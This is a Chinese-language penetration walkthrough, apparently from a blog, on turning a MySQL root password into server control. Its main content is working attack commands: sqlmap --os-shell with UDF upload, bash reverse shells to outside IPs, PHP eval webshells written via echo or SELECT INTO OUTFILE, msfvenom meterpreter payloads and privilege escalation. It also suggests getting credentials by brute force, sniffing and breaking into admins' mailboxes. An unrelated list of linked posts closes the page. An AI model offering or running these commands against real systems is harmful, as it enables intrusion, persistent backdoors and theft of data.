0X001 适用场景

1.获取了Mysql数据库root账号以及密码。

2.可以访问3306端口以及数据库。

0X002 扫描获取root账号的密码

通常有下面一些方法来获取root账号的密码

(1)phpMyAdmin多线程批量破解工具,下载地址:http://www.test404.com/post-546.html

http://pan.baidu.com/s/1c1LD6co,通过收集phpmyadmin地址进行暴力破解。

(2)代码泄露获取数据库账号和密码

(3)文件包含读取配置文件中的数据库账号和密码

(4)通过网络嗅探获取

(5)渗透运维人员的邮箱及个人主机获取

0X003 获取shell

1.通过sqlmap连接mysql获取shell

(1)直接连接数据库

sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell

(2)通过选择32位或者64位操作系统,获取webshell,执行

bash -i >& /dev/tcp/192.168.1.3/80800>&1

(3)反弹到服务器192.168.1.3,在实际中192.168.1.3为外网独立IP。

(4)通过echo命令生成shell:

echo “<?php@eval($_POST['chopper']);?>” >/data/www/phpmyadmin/1.php

如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新,下面命令可参考:

use mysql;

update userset host = ‘%’ where user = ‘root’;

FLUSHPRIVILEGES ;

注意:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题。

2.通过msf反弹

(1)使用msfvenom生成msf反弹的php脚本木马,默认端口为4444:

msfvenom -p  php/meterpreter/reverse_tcpLHOST=192.168.1.3 -f raw > test.php

(2)在独立IP或者反弹服务器上运行msf依次执行以下命令:

msfconsole

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set LHOST 192.168.1.3  //192.168.1.3为反弹监听服务器IP

show options

run 0 或者exploit

(3)上传并执行php文件

将test.php上传到192.168.1.2服务器上面,访问后即可获取msf反弹shell

http:// 192.168.1.2:8080/test.php

3.通过phpmyadmin管理界面查询生成webshll

select ‘<?php @eval($_POST[cmd]);?>’INTOOUTFILE ‘D:/work/WWW/antian365.php’

0X004 一个实例

1.直接连接mysql数据库

执行命令:sqlmap.py -d”mysql://root:123456@2**.****.**.**:3306/mysql” –os-shell

如图1所示,需要设置后端数据库的架构,服务器多为64位,可以先选择64位即输入数字2进行测试,如果不是,可以退出后再次运行并选择。

图1选择服务器数据库所在架构

2.上次udf文件

选择系统架构后,sqlmap会自动上传udf文件到服务器提权位置,如图2所示,会显示一些信息。Sqlmap不管获取的shell是否成功都显示os-shell提示符。

图2获取os-shell

3.执行命令

针对相应的系统执行一些命令来验证是否真正获取shell,如图3所示,执行cat  /etc/passwd命令来查看passwd文件内容,在本例中成功获取shell。

图3执行命令

4.获取反弹shell

虽然通过sqlmap获取了shell,但shell中操作不方便,可以在具备独立IP的服务器上执行:

nc –vv –l –p 8080

在sqlmap的shell段执行:

bash -i>& /dev/tcp/24.11.123.222/8080 0>&1

说明:

(1)24.11.123.222为独立IP

(2)需要在24.11.123.222上执行上面的nc监听命令

(3)24.11.123.222服务器需要对8080端口放行,或者在防火墙中开放8080端口,如图4所示,成功反弹shell。

图4成功反弹shell

5.在服务器上生成webshell

在反弹的shell中通过执行locate *.php命令来定位服务器网页的真实路径,然后到该路径下,通过echo命令生成webshell,如图5所示,直接通过echo命令生成webshell一句话后门。

图5生成webshell一句话后门文件

6.获取webshell

使用中国菜刀一句话后面管理器创建记录并连接,如图6所示,成功获取webshell。

图6获取webshell

7.通过phpmyadmin生成一句话

如图7所示,通过phpmyadmin登录后台后,在sql查询中执行命令:

select ‘<?php @eval($_POST[cmd]);?>’INTOOUTFILE ‘/data/www/phpmyadmin/eval.php’

注意:通过phpmyadmin生成一句话需要知道网站的真实路径。可以通过查看数据库表以及phpinfo,登录后台,出错等来获取真实路径地址。

图7通过phpmyadmin获取webshell

8.通过msf反弹获取shell

本意是通过msfvenom命令生成msf反弹网页木马,通过msf获取shell,并进行提权,如图8所示,执行后,成功获取shell但真正能够通过msf进行提权成功的很少。

图8msf反弹获取shell

9.msf提权参考

(1)msf提权参考

通过msf反弹shell,执行background将session放在后台运行,然后搜索可以利用的exploit来进行测试。下面是一些可以供参考的命令:

background

search “关键字”//seach ssh seach “/exploit/linux/local”

use exploit/linux……

show options

set session 1

exploit

sessions -i 1

getuid

在msf平台上面执行search后,查找的结果中选择时间较新和excellent的成功提权的几率比较大,在提权前,最好更新msf到最新版本,另外一个搜索exploit的命令为:

searchsploit  linux local 2.6.32

sqlmap常用渗透方法的更多相关文章

  1. WebAPi添加常用扩展方法及思维发散

    前言 在WebAPi中我们通常需要得到请求信息中的查询字符串或者请求头中数据再或者是Cookie中的数据,如果需要大量获取,此时我们应该想到封装一个扩展类来添加扩展方法,从而实现简便快捷的获取. We ...

  2. StringUtils中的常用的方法

    org.apache.commons.lang.StringUtils中常用的方法,这里主要列举String中没有,且比较有用的方法: 1. 检查字符串是否为空: static boolean isB ...

  3. JOptionPane类提示框的一些常用的方法

    JOptionPane类提示框的一些常用的方法 XMLOracleSwing 最近在做swing程序中遇到使用消息提示框的,JOptionPane类其中封装了很多的方法. 很方便的,于是就简单的整理了 ...

  4. 常用js方法

    function dateGetter(name, size, offset, trim) { offset = offset || 0; return function (date) { var v ...

  5. jQuery操作Table tr td常用的方法

    虽然现在DIV+CSS进行页的布局大行其道,但是很多地方使用table还是有很多优势,用table展示数据是比较方便的,下面汇总了jQuery操作Table tr td常用的方法,熟记这些操作技巧,下 ...

  6. iOS常用公共方法

      iOS常用公共方法 字数2917 阅读3070 评论45 喜欢236 1. 获取磁盘总空间大小 //磁盘总空间 + (CGFloat)diskOfAllSizeMBytes{ CGFloat si ...

  7. org.apache.commons.lang.StringUtils中常用的方法

    org.apache.commons.lang.StringUtils中常用的方法,这里主要列举String中没有,且比较有用的方法: 1. 检查字符串是否为空: static boolean isB ...

  8. 常用js方法整理common.js

    项目中常用js方法整理成了common.js var h = {}; h.get = function (url, data, ok, error) { $.ajax({ url: url, data ...

  9. Java获取各种常用时间方法大全

    Java获取各种常用时间方法大全 package cc.javaweb.test; Java中文网,Java获取各种时间大全 import java.text.DateFormat; import j ...

随机推荐

  1. EmbeddedSolrServer的使用与solor6.3.0的使用

    1.    到solr官网下载对应版本的solr: https://lucene.apache.org/solr/ 我下载的是:6.3.0版本(需要JDK8),solr默认集成了jetty容器,而且在 ...

  2. C语言网蓝桥杯1116 IP判断

    判断IP地址的合法性, 1.不能出现除数字和点字符以外的的其他字符 2.数字必须在0-255之间,要注意边界. 题目分析: 因为一个IP是又四个数字组成,且可能存在符号和其他字符,故不能用整型数组处理 ...

  3. Python 通用爬虫 和讯博客 scrapy

    目标站点需求分析 通用爬虫,获取和讯博客所有博文 涉及的库 scrapy,re,requests,mysql URL RULE 解析单页源码 保存到数据库 结果

  4. (转)Vue种key的作用

    https://blog.csdn.net/qq_41861679/article/details/80659278 https://cn.vuejs.org/v2/api/#key 其实不只是vue ...

  5. 两个c语言结构体复制的问题

    以前一直以为结构体要通过memcpy来复制,现在才明白可直接用“=”复制 C语言中,结构体是一篇连续的内存空间,使用=赋值操作,底层用到的就是memcpy:如果结构体中有指针变量:操作后.两个指针指向 ...

  6. Java中解决前端的跨域请求问题

    在最近的分布式项目中,由于前端需要向后台请求数据,但不是同一个域名的,常用的ajax方法并不能成功调用,索然后台有数据返回,但是并不能被前端正常解析. 于是便查询知道了后台返回的数据格式的问题.不能用 ...

  7. ubantu/centos修改系统时间

    前言:有时系统上的时间和真实的时间对应不是,或者有特殊需求,需要修改系统时间.但是对应多台的服务器系统更改时间,手动的话很麻烦,这就需要写脚本或者搭建时间服务器了,统一时间,以下是对于一个不同系统修改 ...

  8. Fiddler 抓包设置

    手机抓包设置 一:配置Fiddler参数 打开Fiddler菜单项Tools->TelerikFiddler Options->HTTPS, 勾选CaptureHTTPS CONNECTs ...

  9. jackson对日期的处理(序列化与反序列化)

    https://blog.csdn.net/cover1231988/article/details/76021478

  10. APP,H5测试要点

    APP测试重点 一,运行测试 运行过程中,是否有加载提示: 运行速度是否流畅: 各个模块之间的切换是否正常: 二,更新测试:打开旧版app时,是否有更新提示,且在不同的手机版本上都能更新成功:打开新版 ...